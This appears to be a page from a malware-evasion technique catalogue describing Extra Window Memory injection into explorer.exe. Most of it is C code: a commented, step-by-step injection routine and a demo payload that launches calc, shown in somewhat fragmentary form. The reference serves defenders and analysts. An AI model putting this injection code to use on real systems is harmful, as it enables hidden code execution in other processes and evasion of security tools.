Extra Window Memory Injection

Created the Saturday 23 March 2019. Updated 3 weeks, 6 days ago.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).

Registration of new windows classes can include a request for up to 40 bytes of Extra Window Memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Technique Identifier


Technique Tags

EWMI Code Injection

Code Snippets

    WPARAM wParam, LPARAM lParam)
    // igone messages other than WM_CLOSE
    if (uMsg != VM_CLOSE) return 0;
    WinExec_t pWinExec;
    DWORD   szWinExec[2];
    // WinExec 
    // calc 
    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
        pWinExec((LPSTR)szCalc, SH_SHOW);
    return 0;
Full Function :
LPVOID ewm(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;
    // 1. Obtain a handle for the shell tray window
    hw = FindWindow("Shell_TrayWnd", NULL);
    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp, 
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable, 
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct), 
    // 10. Write the new CTray object to remote memory
    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); 
    // 11. Set the new pointer to CTray object
    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
    // 12. Trigger the payload via a windows message
    PostMessage(hw, WM_CLOSE, 0, 0);
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);
    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

Additional Resources

External Links

Subscribe to our Newsletter

The information entered into this form is mandatory. It will be subjected to computer processing. It is processed by computer in order to support our users and readers. The recipients of the data will be : contact@unprotect.it.

According to the Data Protection Act of January 6th, 1978, you have at any time, a right of access to and rectification of all of your personal data. If you wish to exercise this right and gain access to your personal data, please write to Thomas Roccia at contact@unprotect.it.

You may also oppose, for legitimate reasons, the processing of your personal data.